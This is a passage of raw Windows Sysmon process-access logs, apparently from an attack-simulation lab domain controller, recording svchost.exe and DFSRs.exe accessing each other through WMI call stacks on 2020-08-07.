11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3132\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c2ea|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3132","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c2ea|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 